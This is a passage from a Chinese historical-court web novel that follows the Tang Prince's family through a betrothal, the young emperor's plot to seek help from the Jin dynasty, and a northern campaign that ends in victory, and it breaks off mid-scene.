早得了上头的吩咐,万嬷嬷迎了挛堤郡主。 免不得也是暗暗的打量一番。 在心头,对于这一位未来的世子妃,万嬷嬷可是上心的很。 毕竟王妃有吩咐,关于郡主的一举一动,总要多番的注意。 谁让这是未来的王府主母呢,可不敢疏乎半分。 这一日,赵绥随父亲归府时,他见着弟弟赵纶。 在给外祖母请安时,弟弟凑他跟前,总叨叨了嫂嫂二字。 对于未来的媳妇挛堤明珠,赵绥早有耳闻。 只是耳闻,未曾见面。 如今嘛,二弟一叨叨,赵绥是知晓了。他的小媳妇入府了。 这一日,在夕食前。 赵绥在内宅的正院里见到了未来的媳妇。很正式,有爹娘在。 二人见面,相互见礼。 赵绥的眼中,挛堤明珠挺漂亮。特别是一双眼睛,让赵绥觉得印象特别深刻。 那一双眼睛似乎装着满满的星辰,总之,像是盛满了光。 “安康,往后可不许欺负了明珠。”万珍珠在长子跟挛堤明珠见礼了,她笑着吩咐话道。 “明珠,你也瞧见了安康。往后,你们好好相处。伯母这儿,总是欢喜你的。若是安康欺负你,一定告诉伯母,伯母替你做主。” 万珍珠当着诸人面,又替未来儿媳撑腰一二。 听着未来婆母的话,挛堤明珠心里暖暖的。 头一回,在唐王府里用一餐夕食。 挛堤明珠一举一动总注意着。谁让她是客人。 客人总归有客人的矜持。 对于挛堤明珠的小举动,赵绥瞧见了,他记下了。 当晚,正院。 赵济世夫妻二人独处时,他问了妻子,道:“真喜欢这小姑娘?” “我喜欢不喜欢,这不重要。还要看了安康的心思。”万珍珠实话实说。 “明珠好不好的,我瞧着小姑娘年岁小,只要有心,总归会教导成一个合格的世子妃。”万珍珠摆事实。 “只这是这些不重要,重要是安康。将来要跟安康过一辈子的是他的妻子。”万珍珠的心头,那肯定是儿媳没儿子重要。 “济世哥哥,我心头就是一个念头。若是安康不讨厌明珠,将来他们成了婚,也是挺好的。若是安康真不喜,那就认了明珠做干女儿,将来替明珠寻一个好姻缘便是。” 万珍珠的心头,那自然是偏向了自家人。 此时此刻,万珍珠问着枕边人,说道:“济世哥哥,可会觉得我这般做法是过河拆桥,小人之举?” “盟约是不过一张纸,废了便废了就是。”赵济世不是什么纯善之辈。 “唐王府的世子妃是赵家宗妇,最是重要。安康需要一位贤内助。若是安康不喜,夫妻失和,那才坏事。” 赵济世的心头,自然跟妻子一样的想法,肯定是亲儿子为重。 “一切看他们二人的缘份。”赵济世给了答案。 不勉强,不掺合,顺其自然罢了。 “济世哥哥,有你这话,我心头有数儿的很。”万珍珠笑道:“就看明珠与我家的缘份。在我瞧来,应该不浅。” “今个安康看明珠的眼神,瞧着不像是不喜的。”万珍珠可在意了亲儿子的一举一动。 “哈哈哈……”听罢妻子的话,赵济世也想到了今个瞧见的,儿子瞧未来儿媳的眼神。 “不提小儿事。时间也不早了,妹妹,我们且安置吧。” 赵济世揽妻子入怀。 夫妻相拥,交缠一起。灯光坠影,似是一处。 次日。 赵绥跟往常一样早早起来,他有早课。对于赵绥而言,晨起练武,自然重要。 也便是晨起,赵绥瞧了一回未来媳妇的武力值。 在唐王府的校场上,赵绥瞧见了一身骑装,于马上骑射的未来媳妇。 银装胜雪的骑装,那英姿飒爽,让赵绥瞧着,瞧得一眼入心窝里。 少女弯弓,一箭三珠。箭箭不落,正中靶心。 “彩。”赵绥夸了一回。他是真心的夸赞。 或许就是这般的交心之始。赵绥觉得挛堤明珠是一个漂亮又美丽的好姑娘。 住进了唐王府的挛堤明珠在这一个冬日里,她渐渐的适应了唐王府的生活。 可在心中,挛堤明珠没有忘记了北疆的故土上,那些不曾血仇的仇恨。 只在心中,挛堤明珠记着许多事。 正统四年,春耕结束。 摄政王赵济世领军北征,其子,唐王世子赵绥监国于燕京都。 至于挛堤明珠,得了未来夫家的同意。这一回北征,挛堤明珠随行。 挛堤明珠可暗暗随行,当然有原由。 因为挛堤一族还有余蕴,她自然是招旧部的。 在燕京都的这些日子。挛堤明珠懂得认清自己的位置。 若能使一分力,挛堤明珠不介意多使一些功夫。 在北疆,在草原上,挛堤氏的贵人身份总有用的。 不为别的,就草原上认贵种。 草原八大氏族,可是轮流坐庄。谁家都是出过大汗,都是有着统治了草原的正统性。 这是苍天赋与的,这是草原上的胡人盟约过的。 血誓,草原上的诸部共认。 挛堤明珠要做的,便是招旧部。同时,也是借着大赵的大军复仇。 燕京都,唐王府。 万珍珠听着下面人的汇报。只听一听,心头有数。 待儿子归 来,向她问安时。 万珍珠关心一回,问道:“近日忙碌,我儿也是见着不少新客。如何,可是心动了?” “……”赵绥沉默。 当了监国世子,问赵绥忙不忙? 真的很忙碌,因为要学的东西太多。奏本上的东西,可不止瞧一瞧。 还得读懂,还得闹明白这里面的文章。这可是学问。 便是奏本里不太重要的一些话,一本两本,本本多起来了。 那些话,只要能读懂,能串连,有些魔鬼是藏在细节处的。 只是朝堂上的事情,关乎天下。没一件是小事。 哪怕在奏本上是小事,在朝堂的嘴里可能是小事。 可落了赵绥耳中,压根儿没小事。因为他待过庄子上,去过民户家中。 在真正的贫困人家干过活计,不是小小几日,而是真让爹娘丢去吃过苦头。 赵绥太懂了,上头的一句话,落下面就是一座山。 那山很沉,可能会压倒了无数的贫困黎庶。 非是亲近去体会,而不可得这般的真相。 因为没吃苦,又哪知道苦是啥滋味?赵绥真吃过。 因此,他是记忆犹新。 越如此,赵绥越觉得亲爹利害,太利害。 凭着亲爹的本事,赵绥如今是站了亲爹的肩膀上任事。可谓是前人栽树,后人乘凉。 搁这,真叫苦。赵绥觉得,他这苦不算啥。 跟亲爹的累一比,他只是太少年,懂得太少。 一旦学会了,学多了,万事不怕难。怕的是不够认真。 至少赵绥这般一直认为的。他是真这般理解。而不是什么一会儿的小孩儿心性。 赵绥心底,那有一份坚持。 “娘,儿跟师傅们学习,不曾注意什么新客旧客。” 赵绥笑道:“只这些日子学得东西太多,只感觉自己学问太浅。” 这不是谦虚,而是实话。 赵绥在朝堂上,看奏本,只觉得天下大事小事不断。 这一个天下真难,处处难。 这会儿的万珍珠夸一夸长子,尔后,不经意问了,道:“那,你遇着孔家姑娘等等,那些个名门淑媛,真就不记了半分?” 这些日子,赵绥去师傅府上请教时,那自然是碰着一些名门淑媛。 可这些,赵绥只是偶然。 哪怕他也懂,这太偶然。不是一回两回。 只是已经定亲的赵绥,他真不觉得这些姑娘偶然遇着,那又如何? 名门淑媛,可不会嫁给他这一位唐王世子做妾。 何况,他们的年岁太浅了。 “不过偶然,只是巧合。”赵绥笑道。 “青梅竹马,这巧合,太巧合。”万珍珠意有所指的讲道。 “娘,我有明珠,何必再贪。”赵绥认真的回道。 “明珠皎皎,确是良配。我儿,你心头有数就好。”万珍珠笑着讲道。 “娘嘛,也是提醒你。那些个世家大族,哪怕如今瞧着与你父亲近,这里面的分寸,还是要记着的。唐王府与他们总归是两样人。” 万珍珠不是提点,而是讲实话。 名门大族,那最是讲了利益。唐王府的一系虽是拉拢一批人。 可这些拉拢里,一定不包括了结儿女亲家。 至少在万珍珠的眼中,挛堤明珠这一位儿媳都比大族的女子好。 原由? 因为唐王府的将来嘛,可能还要清洗一些人。 如今只是利益纠葛,将来切掉一些祸患时,那很容易。 真是掺合到儿女亲家上,那是容易坏了下一辈的心性。 挣家业不容易,小儿辈的心性很重要。 长子很好,长媳更是重要的紧。万珍珠的心底,最盼着家和万事兴。 “你也累一天,走吧,我们一家子去你外祖母院子里用饭。安福是一直念叨你这一个哥哥。” 万珍珠这会儿亲近的唤了长子,母子二人一道往亲娘院子里去。 南边的明月圆。 在北疆,在草原,挛堤明珠望着天边明月,她在思念了南边的人。 这思念的人里,挛堤明珠最挂念了未来的小夫君。 或许心有牵挂,今个见了血,亲手握剑杀人。 这会儿的挛堤明珠心头不怕。 只是那血,或许温热,或许腥臊,那些不重要。 这会儿的挛堤明珠只是小小腹仇一番后,招揽旧部成功一小步后,她在思念了小情人。 心里有块,一直记挂一个人,这让挛堤明珠的心安。 “吾心安处是吾家乡。”挛堤明珠轻轻念一句。 这会儿的挛堤明珠发现,草原的月或许没有南边的月更圆更亮。 少了一个陪她欣月的少年,挛堤明珠的思念如泉涌,如何也是止不住。 第115章 燕京都,唐王府。万珍珠收到了最新的消息。 或者说对于宫廷内苑,大事小事,万珍珠也是搁了几只眼睛去。 谁让自家目前的处境如此,可进不可退。退一步,那是死全家的收场。 在这等情况下,万珍珠觉得搁再多的耳朵与眼睛,那都没错。 立场嘛,从来看屁股坐哪。 站哪一处的山岗上,便是唱哪一处的歌。万珍珠的枕边人是摄政王,她的嫡长子是监国世子。 对于大赵朝而言,唐王府是一人之下,万万人之下。 可这等地位应味着不能退。同样的,也一定是皇室的盯中钉,肉中刺。 既然做了事,没得退路,万珍珠不会装了白莲花。 还真以为权柄是敌人瞧他家良善就给拱手相让。 唐王府今天能有的一切,那全是枕边人这一位夫君拿命搏回来的。 这一切将来会让儿孙继承,那么,做为长辈,做为至亲。 万珍珠自然要替儿孙们守住这一切。 “好胆量。”万珍珠夸一回。 可她的眼神很冷,一点不也赞赏这一种敌人的好胆量。 “嬷嬷,瞧着本宫是心软了,也让人觉得软弱可欺啊。” 万珍珠感慨一回。 万珍珠借着复仇,那清洗过一遭宫廷。那会儿的万珍珠瞧着流血时,还在琢磨底层人都是苦命人。 若是可能,诛了敌辈。一些可怜人便是给了活路,彼此两相宜。 哪料想,她是心软了,也给了出路。可不代表了一些潜流下的钉子,那真的就给清理干净掉。 烂船尚有三千钉,何况皇室。 还是几帝临朝过的皇室,那底蕴自然是不可小瞧的。 早前,不过是防患于未然,万珍珠只是习惯性的搁了眼睛与耳朵在暗中盯紧着。 也是没料错,还真的有胆大之辈。那想着欺天了。 “盯死这一条上的所有人。嬷嬷,吩咐下去。我可不想漏掉了一些敌人。”万珍珠吩咐一回。 这一回,万珍珠决定手更狠一些。 血嘛,如果流的不够,那就再多些。这世道,哪一天不死人的。 至于说给敌人慈悲?万珍珠决计不干了。 真是给敌人慈悲,岂不是让自己人吃了大亏。 事非立场,总得站稳。万珍珠的心头有一杆秤的。 同时,万珍珠还是挥笔写了一封家书去北面。 给着夫君,关于燕京都的风云,万珍珠这里盯紧了。她有的线索与查到的一些潜流真相。 至于亲儿子安康那一边?那一边的大事小事,那自然走了朝堂上的流程递与北疆去。 “娘,娘。” 在万珍珠这一边刚是忙碌一些事情后。小儿子安福来催了。 这一小儿如今也是活泼好动的年纪。他啊,就喜欢蹭在亲娘身边。 只是亲娘事务多。在亲娘忙碌府务时,安福知道不能打扰。 或者说这般大的小儿不懂,可侍候了二公子的仆妇与丫鬟们太懂。 这不,哄一哄二公子。待王妃这里闲暇片刻,尔后,再是哄了二公子蹭到亲娘跟前,那是嬉戏一番。 可谓是母子各得其乐。 逗一逗小儿,对于万珍珠而言,也是享受天伦之乐。 毕竟小儿子的闹腾时,自然有身边人哄好了。 那些小恶魔的讨厌时刻,万珍珠是见得少。 真是小儿子蹭她这一位亲娘跟前时,尽瞧着可爱可亲之处。 这般的哄小孩儿,万珍珠巴不得美好时光多一些。 只能说富裕人家养娃嘛,那总归是让上位者舒服的很。 “安福真是乖孩子。”万珍珠夸了小儿子。 这不止是夸,也是感慨。 万珍珠感慨的只一样,那便是有人帮衬一起照顾孩子的当娘时光,真真好。 就凭如今的家庭条件,真让她多养孩子,她真乐意。 因为家里不缺养了孩子的米食,更不缺了钱财。 在小儿辈人多势众的时代里,那自然是儿孙越多越好。 谁让唐王府养得起,还能养得好。 这教育等等的资源,只有更多,没有最多。 只能说起跑线上,唐王府的儿孙们那就是赢了。赢在了至亲长辈给的助力上。 大赵朝,燕京都,皇宫,泰一宫。 正统帝在朝臣眼中还是小天子,可搁这一个世道而言,他是少年天子。或者说在普通的民户人家 ,这样一个少年郎已经可以顶门立户。 对于正统帝而言,他想拿回皇权。 有权臣当道的日子,正统帝心有不甘。特别是监国世子赵绥的出现,更觉得内心受伤。 要知道赵绥比正统帝小上四五岁。 这般年纪的赵绥能拿到了权柄,哪怕是台面上的印章。 可赵绥也是有权臣撑腰的监国世子。这等监国世子的出现,这把正统帝的位置衬得异常的尴尬。 若是可以,正统帝真想跪在太庙面前,那请了祖宗是降下雷霆,最好是霹死了赵氏一门的逆臣。 唐王府的诸人,在正统帝的眼中,那真是逆臣贼子,再无二恙。 “大伴,信送走了,你说,晋朝会同意朕的请援吗?” 正统帝跟全公公问话道。 正统帝请的外援,不是朝堂上的朝臣。或者说如今想寻了皇室之外的支援,难,难上加难。 倒不是没人肖想了从龙之功。 而是彼辈胆子大的,在早前宋国舅倒台时,那已经登台演出过了。 那会能冒头,尽数的露了一回。 至于如今还有胆大之辈,那能量也不够。或者说没法子入了帝王眼。 搁帝王眼前露一脸都做不到,那自然入得帝王耳。 这等小人,便是想行大势,权不够,能耐不够。只能窝囊着。 倒是外援嘛,正统帝寻得到。那便是嫁到晋朝的姑母。 晋朝的李太后可是正统帝的姑母。对于晋朝,正统帝这一位大赵朝的帝王心生期望。 谁让晋朝在大赵的眼中,武德挺充沛的。 往前,大赵与大晋的战场争斗,从来是大晋赢得多。 当年,也是大赵献了公主和亲嘛。 旧事犹在,正统帝自然是对大晋朝抱了希望。 若是外援而来,能解围的话,正统帝不介意干一回内奸的那一点事情。 毕竟瞧着权臣轮翻的上场,瞧着皇室的权威越来越弱。 正统帝心怕啊,他怕哪一日被权臣逼着禅让。 怨不得正统帝这般想,自古以来,真是做了几朝傀儡的帝王,那下场真的不太好。 北疆,草原。 赵济世已经取得了丰厚的战果。这些很重要。 对于权臣而言,特别是他这样的靠着兵强马壮上位的权臣而言,胜利不止是功勋,更是威势,更是能让人恭顺的权柄基础。 胜利者从来不缺了追随者。 因为人们从来追捧的就是胜利者。胜利者,无论对错,不被指责。 一旦被指责,那一定是失败了。世道如此,赢家通吃。 又一日。 赵济世接到了最新的秘报,同时,还有燕京都的家书。 两相一阅读,赵济世的眉头一跳。 小天子的跳脱,那些天马行空的举动,倒在赵济世意料之中。 天子想拿回权柄,这很正常。只是彼此双方立场不同。 赵济世不会同意罢了。 因为宋国舅的前车之鉴,还有五望这等世家大族的前车鉴。 赵济世亲眼瞧了输了之辈,尔后,死全家的下场。 赵济世肯定不能让自己落的彼辈的收场。权柄,自然是拿在手,不能相让。 皇室势微,或者说这不是赵济世干的。他只是享受了前人的成果。 如今嘛,前人都把应该干的,不应该干的,全给赵济世打过样。 赵济世不傻,他学一学,那简直就是有范本可寻。 在这等情况下,如果还输了,赵济世觉得自己的就成猪脑子。 或者说赵济世不想当猪脑子,更不想死全家,没了血脉香火祭祀。 在心头,赵济世自然有他的狠辣手法。 “倒是一群老狐狸。”赵济世对于七姓等等燕京都的那些高官们的坐等观望,他心有不满。 本来打算钓几条大鱼。哪料想,彼辈不上当,倒是耐性太好。 倒是小天子正统帝上当了。或者说小天子这一位的耐心不够。 “晋朝吗?”赵济世的目光望向了西面。 “倒是期待。”赵济世是想跟晋朝碰一碰。 这些年里,赵济世的苦心经营,他很想知道。 如今的大赵朝可能战而胜之,胜了晋朝。一旦在赵济世的领导下胜了。 那么,赵济世这一位摄政唐王的威势会更进一步。 皇室之中,某些人的野望也会被打断。同样的,朝堂上的一些潜流,那一定会安静下来。 因为拳头才是真理,真理就是比得谁强。 强者为尊,强者的话才是真理。 这里的强者,便是实力。赵济世就想以力证道。 至于北征之前,对于晋朝可能的掺合,赵济世有预案的。 谁让李家的公主和亲了晋朝呢。这等事情,赵济世可不敢漏算了盘外招的。 在输了的现实面前,只要能抓紧到筹码。输家是不可能投子认输。 特别是皇家,像是小天子正统帝更不可能认输的。 帝王嘛,总归是唯我独尊的。 夏日,炎炎气候。 燕京都,进了师傅的府上求学问。赵济世又遇上了孔九姑娘。 这不是头一遭。 孔九姑娘与赵济世同岁,年九岁。小姑娘是一个美人胚子。 孔九姑娘不止是美人胚子,她还是一颗孔府的明珠。 皎皎如玉,仿若九天的玄女下凡一般。惹人怜爱的同时,又是礼度有嘉,让人相处同沐春风一般的温柔惬意。 这般的孔九姑娘让一般的少年郎君遇上,自然是会觉得青梅竹马,两小无猜。 可让赵绥遇上,赵绥只觉得巧合,太巧合。 那便不是巧合。 赵绥的心中比较了挛堤明珠与孔九姑娘。 在赵绥心底,明珠是未来的媳妇,自然是又怜又敬又爱。 孔九姑娘嘛,不过是师傅府上的师妹,尊敬即可,远离即可。 赵绥可不想让人误会什么。避让三分,才是赵绥的态度。 赵绥做得明明白白。于是几场的相遇,就像是好戏让瞎子碰上,白瞎了。 这一日,赵绥告辞离开师傅的府第。 孔府上,孔家主在书房里单独的见了一回小闺女。 这一个嫡女的闺女,孔家主很是爱重的。 可如今嘛,在家族的前程面前,孔家主还是献祭了女儿。 当然,孔九姑娘自个也是乐意的。 只结局嘛,目前让孔家父女二人不满意罢了。 “女儿让父亲失望了。”孔九姑娘坦然的说了目前的结果。 “世子聪慧早熟,不爱男女之情。不过小事尔。” 孔家主的目光落在小闺女的身上,又道:“只你二人瞧着无缘,倒是可惜。也罢,我乃世子的师傅,已结一份善缘,倒不强求什么。” “往常,也是顺其自然,缘不够,不过天意罢了。” 孔家主只能这般安慰一回自己。 孔九姑娘的眼眸子里也是失望的。或者说见识过唐王府的威势。 在心头,对于唐王府的未来有期许。 聪慧如孔九姑娘自然想搏一把。只是她投了筹码,对方不乐意接下罢了。 能怎么办? 孔九姑娘在心头,也不过失望一回。 “父亲真的看好唐王府,觉得唐王乃大英雄,前程至尊无量吗?”孔九姑娘心头有一些不甘心,便是忍不住问一回。 “糊涂,这岂是你能问的话?” 孔家主很生气。 “回后宅去,好好跟你母亲学一学规矩。我瞧着,你往数的规矩尽是白废了。”孔家主很生气。 有些事情能干,可有些话是不能说的。 不是样样话都能对人言。有些话说出口,那容易招祸端。 “女儿错了。”孔九姑娘赶紧认错。 “罢了,回后宅去。”孔家主摆摆手。孔九姑娘瞧着父亲生气的模样,只能再度见礼,尔后,再认错,才是告退离开,回了孔府后宅去。 只孔家主在心头打定主意,私下还得跟夫人提一提,让夫人紧一紧小女儿的规矩。 女儿家,有些话不能讲,那就一定闭紧了嘴巴。 真是多事儿,还是容易招事儿的女子,从来不讨喜。 至少孔家主这般认为的。 远在几千里之外,大晋朝,镐京都。 宫廷之中,皇家之内,李太后收到了亲侄儿的书信。 这是宗亲差了亲信送来的秘信。 到了李太后的手中,李太后也是惊讶一桩。 对于燕京都的风云变幻,远在几千里之外的李太后也是关注着。 只是关注归关注,李太后真是做不了什么。哪怕娘家乱成一锅粥,出嫁的女儿,还是远嫁异国为太后。 李太后想帮衬什么?只能想一想。 离太远了,有些时候距离就是最大的阻碍。 李太后在知道尘埃落定时,在知道那一位唐王成了大赢家时。 李太后是惊讶的。 甭管是唐王赵济世,还是唐王妃万珍珠,这一对夫妻李太后都是熟悉的。 谁让赵济世当年是李太后和亲时的护卫统领。 二人接触过一些时日。 对于赵济世,李太后觉得有一二分的了解。 至于唐王妃万氏,这一位晋朝的浑江公主嘛。 李太后更是知道一二,特别是浑江公主的生父万忠良。 这里面的一些门道,李太后一琢磨都有三分心思。 如今收到侄儿正统帝的秘信,李太后心绪意难平。 在晋朝,成了天下女子的标杆。李太后觉得这些年里,她不怎么开心的。 因为这同乐帝嘛,那对于李太后恭敬有余。 要说多孝顺,也停留在口头上。 这些年里,朝堂上的诸臣,那谓是让简亲王这一位皇家亲王拿了大权。 同乐帝的处境,落李太后的眼中,那跟他家的侄儿没两样。都是傀儡。 可有一样,简亲王真办不到一家独大。如今的李太后也是有几分势力的。 倒是这一回,李太后准备跟简亲王合作一回。 原由很简单。在是否让同乐帝亲政这一件事情上。李太后和简亲王有同样的想法。 李太后更乐意了侄女李皇后,也便是侄儿正统帝的姐姐怀上同乐意的皇嗣。 若能有血缘关系的晋朝嫡皇子出生,那么,李太后更高兴。 只同乐帝也不傻。 这些年里,李皇后没能生下了嫡皇子。 镐京都,内城,简亲王府。 又是夜幕时分,简亲王未曾入睡。这一回亲王还在书房里阅读了一些秘件。 对于一些情报,简亲王很在意。 简亲王饮一口茶汤,感慨一回,道:“老了老了。” 对于简亲王而言,他真觉得自己老了。可再是老了,他还是一人之下,万万人之下的摄政王。 对于简亲王而言,他觉得自己是皇家的忠臣。 毕竟他不掌臣,同乐帝也是撑不起天下万方。 简亲王是宗室亲王,他掌权,那皇权还是自家的手中。 对于简亲王而言,他在琢磨了要不要配合了李太后的提议。 在心头,简亲王还是想给嫡长子立功的机会。 如果可以的话,摄政王的位置也不是不能世袭。 简亲王自己掌权了,更想让这一份权势传承下去。 至于说将来,嫡长子立稳脚跟了,父子同掌大权。 到时候嫡长子会不会肖想着更进一步?那是嫡长子将来的烦恼。 如今的简亲王就想着稳固权柄,同时,再把权柄传承下去。 可想传承下去,那就不是一句两句话的事情。 简亲王世子就得有能耐,得服众。 这权柄从来是不会出现真空的。有人拿不住,那么,一定会旁落他人手。 简亲王就想多给嫡长子创造了机会,让简亲王府一脉的传承更稳当。 要论权势的传承,哪有比兵权更稳的。 只要嫡长子有战功,那能威势赫赫,简亲王一脉的前程便是不可限量。 这不,李太后给了机会。 或者说李太后也想支持了简亲王府的世子领兵出征。 这等机会,往前很难。 这等出风头,还能立大功的机会。想寻着合适的,那不容易。 遇上了,让简亲王舍了,他不舍得。 在心底,简亲王对于大晋的兵卒们,那是信心十足的。 特别是压大赵朝一头,简亲王更有信心。 这一份信心是历次以来,大晋压着大赵打而胜出来的信心。 关于大晋要出兵,这等大事瞒不了谁。 当然,如今的大赵大军还在北边。大晋想闪击一回。 或者说想干一点抄后路的事情嘛。 这能干,也能说。 机会不能失,至于是全抄后路,还是趁机伏击了大赵朝的北征军队。 这些是领兵大帅的事情。 虽然这一回大晋名义上领军是简亲王世子。可简亲王不傻。 简亲王是给亲儿子配了豪华的战将团。应该有的副帅与大将,一个不能少。 只要在大晋排上号的能将,这一回,简亲王能提溜的,全给提溜到简亲王世子的麾下。 至于不能提溜的,要么,那是年岁太老,已经没法子上战场。 再要么,那就是牌面太足,一旦派到简亲王世子麾下。简亲王不放心啊。 郡主府。 林江郡主也是关心朝堂大事的。毕竟她不止是皇家郡主。 她的儿子这一回也随了舅舅出征。 在林江郡主心底,她还是记挂着好妹妹浑江。 至于林江郡主心底的浑江妹妹自然便是万珍珠。 “浑江妹妹,哪料想,如今你我倒成了敌人似的。” 望着东面的天空,林江郡主呢喃一回话道。 真不怨林江郡主这般想。 这一回大晋朝的军队,瞧着要对付的可是大赵朝。 如今的大赵朝谁掌权,便是林江郡主眼中的浑江妹妹的夫君。 林江郡主可听说了,浑江妹妹的夫君是大赵的摄政王,长子是监国世子。 只能说往昔的蜜友,如今成了敌人,也是让林江郡主颇无奈的。 “唉,我儿,如何就想着出征呢。求甚的富贵,在镐京都做了富贵闲人,如何不好?” 林江郡主心里有担忧的。 战场无眼啊,独一子,林江郡主替儿子担忧。 可儿子都娶妻生子,也是一家之主。林江郡主逆不得儿子的一番决断。 或者说孩子大了,顶门立户,有心思了。当娘的能怎么办?林江郡主也是做不得亲儿子的主。 要可以的话,林江郡主是不想让亲儿子上战场。 可谁让这一独子一心建功立业。 “只盼我儿无恙,只盼兄弟立了大功劳,简亲王府前程无量。” 林江郡主祈福时,她祈求着上苍庇佑了自己的兄弟与儿子。 立场嘛,从来是亲疏远近的。哪怕与浑江妹妹太要好。 可屁股墩嘛,那还是坐了亲儿子这一边的。 搁林江郡主身上如是,人心有私,搁旁人身上,想必也当如此。 第116章 正统四年,秋,大军南归。 赵济世赢了一场又一场的极漂亮的大战。不止是在草原上犁庭扫穴,更是一举打垮了大晋的东征军。 这一场大战的胜利,对于大赵朝堂的影响非常大。 大的超乎了所有人的想像。 燕京都,唐王府。 万珍珠瞧着下面人的汇报,各处消息一汇总。 万珍珠也是心底起了波澜。 “这便是人心吗?”万珍珠呢喃一句。原来胜利者真的不被谴谪。 万珍珠瞧见的各种情报里,对于唐王府而言是一个又一个的好消息。 似乎从一个胜利走向另一个胜利的同时,唐王府的权威在大赵朝的土地上也是越来越丝滑。 至于皇室?至于小天子是谁? 黎庶百姓不在意,反正头顶上的官老爷们总归是一茬又一茬,总归要给贵人们纳赋交粮。 至于世家大族,地方豪强?他们们,那心思更简单了。 各有各的奔头,同时,又是想明哲保身的时候,再是寻着机会再狠狠的咬一口。 在唐王府的权威越来越盛时,傻子没能耐出头。 有能耐的又太懂低 头的道理。 当然了,燕京都有领头羊的情况下,一切似乎平稳渡过。 镐京都,这一座晋朝的都城,那却是风起云涌。 不为旁的,只是输了大战。 在这等时候,败者食尘,总要有人给一个交待的。 甭管对错,只论输赢。 晋朝的朝堂上,因会大战的大输,风波再起。 因为立于顶点的人不想下来,下面的人又借着好机会要挑战一二。 于是大晋朝的镐京都乱了起来。 大军归来的燕京都,那自然要迎了胜利之师。 燕京都,皇宫。 泰一宫的小天子正统帝不开心,明明朝廷大胜。 帝王却是不高兴的,因为他请来的援军没了。 帝王不止如此的原由不高兴,还因为泰一宫也罢,凤仪宫也罢。 宫廷内苑,宫人们又被清洗了一遭。 对于唐王府的一些举动,那是赤祼祼的干涉了内廷。 可正统帝没折,宋太后一样没折。 人在弱势时,除了忍气吞声,还是忍气吞声。 “真是欺天了。”正统帝咬牙嘀咕一句。 帝王的脸上,全是愤愤不平之色。那恨意全藏在了眼眸子里。 “陛下,唐王世子求见。”贴身大伴来禀话。 一听是唐王世子赵绥求见。正统帝原本的恨意,这会儿赶紧的收敛起来。 正统帝就差搓一搓脸颊,他尽量让自己笑起来,笑得和善三分。 “大伴,快请世子进殿来。”正统帝吩咐道。 关于唐王世子的来意,正统帝太知晓了。不过是不了得胜大军归来的事情。 其时来不来请示,对于正统帝而言,他还是在意的。 毕竟得了面子,总归是好事。 若是唐王府里子面子都不给予帝王,正统帝怕是不止睡不安稳。那得处处焦虑了。 宫廷之内,赵绥还得配合了帝王唱一唱君臣相和的大戏。 燕京都,又是一处世家大宅内。 这时候有人在议事,议的自然是燕京都的风闻。 可谓是唐王府势大,不服之辈不过是蛰伏起来。 毕竟权势惹人眼,若是有机会碰一碰,摸一摸,谁又不起登临巅峰呢。 “唐王妃倒是贤内助,唐王不止内宅安宁,又是后继有人。世子能耐啊。” 有人夸,自然有人反驳。 “世子能耐,尚年少,往后的事情哪能料得料。至于唐王内宅,不过一妇人尔。非是唐王神威,区区一介阉人女,又岂配王妃尊位。” “唐王过一阉人女渡日,太委屈了。” 有人替唐王赵济世叫委屈。这等时候自然会有人凑趣。 这等时候嘛,太多想巴结的人,那寻着门路也是想法子凑上去,凑着权势更近一些。 法子嘛,不怕招少。 自古以来,给上位者送美人的招数,可谓是数不胜数。 有这等美人计考验一下上位者,成不成的? 自然是多数还是成功了。 这不,又有人想着老招新用法。再是试一试。 大胜归来的赵济世,在离着燕京都有三十里外。 那有重臣相迎。 等着至燕京都时,帝王从墙楼下来,亲迎得胜归来的大军。 于众目睽睽之下,赵济世从来是恭敬臣子做派。 得给天子的尊严,那得做足。毕竟,他是忠臣孝子。 “请陛下阅军。” 赵济世亲近替帝王驾车,临时检阅得胜之军。 “大赵万胜,万胜,万胜。” 人一过万,无边无际。上过战场,真正在军阵里杀过人的兵卒,那是不一样的。 那一种煞气,冲天透阵。 小天子正统帝被这等惊呼给惊住。哪怕惊住。 小天子的心底还是豪气顿生。毕竟,这是大赵的大军。 只是瞧着驾马车的赵济世,正统帝的心里埋上了一份阴影。 在正统帝的心底,只恨这人早早没了才好。 得胜归来的大军,得重赏。 谁赏,当然是赵济世这一位摄政的唐王赏。 拿谁钱,吃人饭,听谁话。 这里面的干系很重要,赵济世太重视了。 不止他重视,他还拧了嫡长子赵绥随行。赏人嘛,给人好处的事情,给嫡长子做脸的时候,赵济世不会落下。 当然了,对于赵绥而言,还有一桩更重要的事情。 那是善后。 那些功臣里,许多普通的士卒的日子可不好过的。 毕竟,有人在战场上死了。 人死了,可事情没消。因为他们还有妻儿,还有父母。 这善后的事情如何办,给烧埋银子? 这钱谁送?当然是赵绥亲自来。他送钱,不止是送了烧埋银子,还要把唐王府对兵卒真正的关心落到实力。 或者说落在具体的某个人身上。 因为这一个世道里,讲了忠义二字。这是活着的世俗规矩。 赵绥得了亲爹的庇护,这是一份大大的潜在根基。 唐王世子不怕累,不怕苦。走遍四野八乡,亲自送了给战死士卒的烧埋银子。同时,若是留有了孤儿的,自然是由唐王府领归抚养,不让英雄流了血,还要流血。 不止如此,便是受伤的士卒应给的抚恤,唐王世子赵绥一样亲自上阵。 那亲自送出去的一份又一份银钱,那是银钱吗? 不,那是唐王府的大恩大德。 依着这一个世道人们的观念,君以重恩,唯报性命。 对于唐王府而言,对于唐王世子赵绥而言,这是收揽了一份又一份的人心。 从秋日到冬日,从冬日至年末。 忙碌了一季多的赵绥,那累得更瘦了。可他的精神又不同。 那是一种坚持入心底,百炼成钢的一位少年郎君长成记。 甭管是赵济世,还是万珍珠,这一对爹娘对于嫡长子的长成,那都是非常满意与欣慰的。 同时,也是替孩子骄傲,因为这一位少年郎他是真正的踏实办事,不怕苦,不叫累。 唐王府,内宅。 挛堤明珠亲自做了冬衣,她原来不会,可如今会了。 挛堤明珠在草原上揽了旧部,如今麾下自然有一批的腹心之人。 对于挛堤明珠而言,她复仇了。了一心结。 对于未来嘛,挛堤明珠的一颗心在情郎赵绥的身上。 因为前程也罢,还是一颗真心也罢,挛堤明珠就是搁在了未来的小夫郎身上。 “应是补一补,太瘦了。”挛堤明珠赠了冬衣给未来的小夫郎时,她的眼眸子里有心疼。 明明年少,可少女动心了。 许是这世道的少女,总归是心思成长的很快。 感情,更许是青梅竹马,两小无猜。 “瘦了吗?” 赵绥笑一笑,回道:“我长高了,才显得瘦削。往后定是多食多锻炼,一定会长成一幅好身板。” “瞧瞧,在街上瞧着的,知你喜欢这些小玩意儿。特意带回来予你。” 